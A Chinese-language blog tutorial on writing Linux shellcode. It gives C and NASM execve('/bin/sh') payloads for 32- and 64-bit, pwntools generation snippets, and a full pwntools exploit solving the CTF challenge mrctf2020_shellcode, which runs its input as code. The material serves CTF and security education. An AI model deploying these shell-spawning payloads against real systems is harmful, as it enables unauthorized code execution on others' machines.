shellcode編寫

husterzxh發表於2022-05-24

shellcode編寫

shellcode是一段用於利用軟體漏洞而執行的程式碼,通常使用機器語言編寫,其目的往往是讓攻擊者獲得目標機器的命令列shell而得名,其他有類似功能的程式碼也可以稱為shellcode。

簡單的shellcode

最簡單的shellcode就是直接用C語言system函式來呼叫/bin/sh,程式碼如下:

# include <stdlib.h>
# include <unistd.h>

int main(void)
{
    system("/bin/sh");
    return 0;
}

編譯上述程式碼生成可執行檔案,執行可執行檔案便可以獲得機器的shell。

上面是用C語言寫的,用匯編語言也可以實現。具體思路就是設定好各個暫存器的值,然後觸發內中斷,執行系統呼叫。

這裡簡單介紹一下中斷,補充一下背景知識。

對於任何一個通用的CPU,都具備一種能力,可以在執行完當前正在執行的指令之後,檢測到從CPU外部傳送過來的(外中斷)或CPU內部產生的(內中斷)一種特殊資訊,並且可以立即對所接收到的資訊進行處理。這種特殊的資訊被稱為“中斷資訊”。中斷的意思是指CPU不再接著剛執行完的指令向下執行,而是去處理這個特殊資訊。

CPU的內中斷有四種情況:(1)除法錯誤;(2)單步執行;(3)執行into指令;(4)執行int指令。

int指令的格式為:int n,n為中斷型別碼。CPU執行int n,相當於引發一個n號中斷的過程。int 0x80表示引發0x80號中斷,而0x80號中斷就是系統呼叫,具體是哪個系統呼叫,就看暫存器EAX的值,這個值就是系統呼叫編號。在32位程式中,execve對應的系統呼叫編號是0xb;在64位程式中,execve對應的系統呼叫編號是0x3b。關於中斷的詳細資訊可以查閱王爽老師的《組合語言》,關於系統呼叫的詳細資訊可以參考你真的知道什麼是系統呼叫嗎?作業系統(linux0.11)的系統呼叫

32位的shellcode命名為shell32.asm,需要:(1)設定ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80觸發中斷。

global _start
_start:
    push "/sh"
    push "/bin"
    mov ebx, esp    ;;ebx="/bin/sh"
    xor edx, edx    ;;edx=0
    xor ecx, ecx    ;;ecx=0
    mov al, 0xb    ;;設定al=0xb,對應系統呼叫execve
    int 0x80

用命令nasm -f elf32 shell32.asm -o shell32.o編譯得到shell32.o,用命令ld -m elf_i386 shell32.o -o shell32連結得到shell32,執行即可使用shell。

64位的shellcode命名為shell64.asm,需要:(1)設定rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 進行系統呼叫。注意,64位不再用int 0x80觸發中斷,而是直接用syscall進行系統呼叫。

global _start
_start:    
    mov rbx, '/bin/sh'
    push rbx
    push rsp
    pop rdi
    xor esi, esi
    xor edx, edx
    push 0x3b
    pop rax
    syscall

用命令nasm -f elf64 shell64.asm -o shell64.o編譯得到shell64.o,用命令ld -m x86_64 shell64.o -o shell64連結得到shell64,執行即可使用shell。

用pwntools快速生成shellcode

pwn工具準備一文中介紹了pwntools的安裝,這是一個python的包,也是解決pwn題強有力的武器。

生成32位shellcode的python程式碼:

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

生成64位shellcode的python程式碼:

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

context用來設定執行時全域性變數,比如體系結構、作業系統等。
shellcraft用來生成指定體系結構和作業系統下的shellcode,如果沒有在context設定全域性執行時變數,還可以將shellcraft.sh()完整寫成shellcraft.i386.linux.sh()
asm用來生成彙編和反彙編程式碼,體系結構、作業系統等引數可以通過context來設定,也可以在asm中引數的形式設定。上面的程式碼如果沒有asm()也可以得到正常的結果,但是會顯式的直接寫出\n,而不是將其識別為換行。

執行上面的python程式碼就可以生成指定的shellcode。

shellcode實戰

看一道簡單的題mrctf2020_shellcode,首先用checksec mrctf2020_shellcode檢視一下格式和保護,結果表明這是一個64位的程式,沒有開啟棧溢位保護和NX保護,有可讀可寫可執行的棧。

checksec_mrctf2020_shellcode

然後用sudo chmod +x mrctf2020_shellcode新增可執行許可權,執行一下看看情況。

接著將程式拖到IDA Pro 64位中,或者用gdb除錯,得到的彙編程式碼如下:

   0x555555555159 <main+4>     sub    rsp, 0x410
   0x555555555160 <main+11>    mov    rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
   0x555555555167 <main+18>    mov    esi, 0
   0x55555555516c <main+23>    mov    rdi, rax
   0x55555555516f <main+26>    call   setbuf@plt                <setbuf@plt>
 
   0x555555555174 <main+31>    mov    rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
   0x55555555517b <main+38>    mov    esi, 0
   0x555555555180 <main+43>    mov    rdi, rax
   0x555555555183 <main+46>    call   setbuf@plt                <setbuf@plt>
 
   0x555555555188 <main+51>    mov    rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
   0x55555555518f <main+58>    mov    esi, 0
   0x555555555194 <main+63>     mov    rdi, rax
   0x555555555197 <main+66>     call   setbuf@plt                <setbuf@plt>
 
   0x55555555519c <main+71>     lea    rdi, [rip + 0xe61]
   0x5555555551a3 <main+78>     call   puts@plt                <puts@plt>
 
   0x5555555551a8 <main+83>     lea    rax, [rbp - 0x410]
   0x5555555551af <main+90>     mov    edx, 0x400
   0x5555555551b4 <main+95>     mov    rsi, rax
   0x5555555551b7 <main+98>     mov    edi, 0
   0x5555555551bc <main+103>    mov    eax, 0
   0x5555555551c1 <main+108>    call   read@plt                <read@plt>
   0x5555555551c6 <main+113>    mov    dword ptr [rbp - 4], eax
   0x5555555551c9 <main+116>    cmp    dword ptr [rbp - 4], 0
   0x5555555551cd <main+120>    jg     main+129                <main+129>

   0x5555555551d6 <main+129>    lea    rax, [rbp - 0x410]
   0x5555555551dd <main+136>    call   rax
 
   0x5555555551df <main+138>    mov    eax, 0

這段程式碼比較簡單,可以直接分析一下。首先是sub rsp, 0x410是為區域性變數開闢空間,接著依次呼叫了stdinstdoutstderr,然後呼叫puts在螢幕上列印Show me your magic!。重點是接下來的部分,可以看到呼叫了read函式,該函式有三個引數,第一個參數列示要讀的資訊的來源,第二個參數列示存放讀入資訊的緩衝區,第三個參數列示讀的資訊的位元組數。在C語言函式呼叫棧中介紹了64位程式中函式呼叫優先使用暫存器傳參,所以edx傳入的是第三個引數,rsi傳入的是第二個引數,edi傳入的第一個引數,表明要讀入0x400個位元組的資料,存放資料的緩衝區地址是rbp-0x410,從標準輸入中讀取資料,函式呼叫的返回值存放在eax暫存器中,read函式的返回值是實際讀取的位元組數,所以接下來的語句是將實際讀取的位元組數存入rbp-4的位置,將這個值與0比較,如果大於0(即實際讀取的位元組數大於0),則跳轉到<main+129>的地方執行,將rbp-0x410的值傳給rax,然後call rax意味著以rax暫存器存放值為地址,跳轉到該處執行接下來的指令。實際上,rbp-0x410就是read函式緩衝區開始的地方,換句話說,這個程式的作用就是將read讀取的資料當成指令來執行,如果向程式輸入的資料是獲取shell的指令,那麼我們就可以獲取shell了。我們可以用pwntools來構建shellcode,然後傳送給程式。

from pwn import *
context(os = 'linux',arch = 'amd64')    # checksec告訴我們這是64位程式
p =  process('./mrctf2020_shellcode')    # 啟動程式
shellcode = shellcraft.sh()    # 生成shellcode
payload = asm(shellcode)    # 構建payload
p.send(payload)    # 向程式傳送payload
# gdb.attach(p)    # 在新終端中用gdb除錯程式
p.interactive()    # 與程式互動

參考資料

星盟安全團隊課程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF競賽權威指南(Pwn篇)(楊超 編著,吳石 eee戰隊 審校,電子工業出版社)
組合語言(第3版)(王爽 著,清華大學出版社)
pwntools官方文件:http://docs.pwntools.com/en/latest/